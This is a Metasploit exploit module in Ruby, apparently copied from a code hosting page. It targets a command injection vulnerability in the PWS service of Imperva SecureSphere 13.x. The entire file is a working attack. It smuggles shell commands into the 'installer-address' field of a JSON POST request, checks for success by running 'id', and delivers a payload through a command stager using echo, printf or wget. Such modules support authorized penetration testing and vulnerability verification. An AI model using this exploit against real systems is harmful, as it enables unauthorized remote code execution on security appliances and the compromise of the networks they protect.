rsp3ar
140 lines
4.1 KiB
Ruby
140 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Imperva SecureSphere PWS Command Injection',
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'Description' => %q(
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This module exploits a command injection vulnerability in Imperva
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SecureSphere 13.x. The vulnerability exists in the PWS service,
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where Python CGIs didn't properly sanitize user supplied command
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parameters and directly passes them to corresponding CLI utility,
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leading to command injection. Agent registration credential is
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required to exploit SecureSphere in gateway mode.
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This module was successfully tested on Imperva SecureSphere 13.0/13.1/
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13.2 in pre-ftl mode and unsealed gateway mode.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rsp3ar <lukunming<at>gmail.com>' # Discovery/Metasploit Module
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],
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'References' =>
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[
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[ 'EDB', '45542' ]
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],
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'DisclosureDate' => "Oct 8 2018",
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'DefaultOptions' => { 'SSL' => true },
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'CmdStagerFlavor' => %w{ echo printf wget },
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'Targets' =>
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[
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['Imperva SecureSphere 13.0/13.1/13.2', {}]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The target port', 443]),
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OptString.new('USER', [false, 'Agent registration username', 'imperva']),
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OptString.new('PASS', [false, 'Agent registration password', '']),
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OptString.new('TARGETURI', [false, 'The URI path to impcli', '/pws/impcli']),
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OptInt.new('TIMEOUT', [false, 'HTTP connection timeout', 25])
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])
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end
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def send_request(data)
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req_params = {
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'data' => data.to_json
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}
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unless datastore['USER'].to_s.empty? or datastore['PASS'].to_s.empty?
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unless defined? @cookie
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/')
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})
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unless res
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fail_with(Failure::Unreachable, "#{peer} - Connection failed")
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end
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@cookie = res.get_cookies
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end
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req_params['cookie'] = @cookie
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req_params['headers'] = {
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'Authorization' => basic_auth(datastore['USER'], datastore['PASS'])
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}
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end
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send_request_cgi(req_params, datastore['TIMEOUT'])
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end
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def execute_command(cmd, opts = {})
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data = {
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'command' => 'impctl server status',
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'parameters' => {
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'broadcast' => true,
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'installer-address' => "127.0.0.1 $(#{cmd})"
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}
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}
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begin
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res = send_request data
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rescue Rex::ConnectionError, Errno::ENOTCONN => e
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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if res
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if res.code == 401
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fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
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end
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unless res.code == 406 and res.body.include?("impctl")
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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end
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res
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end
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def check
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begin
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res = execute_command('id')
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rescue => e
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print_error("#{e}")
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return CheckCode::Unknown
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end
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if res.body =~ /uid=\d+/
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return CheckCode::Vulnerable
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end
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CheckCode::Safe
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end
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def exploit
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unless CheckCode::Vulnerable == check
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unless datastore['ForceExploit']
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
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end
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print_warning 'Target does not appear to be vulnerable'
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end
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print_status("Sending payload #{datastore['PAYLOAD']}")
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execute_cmdstager
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end
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end
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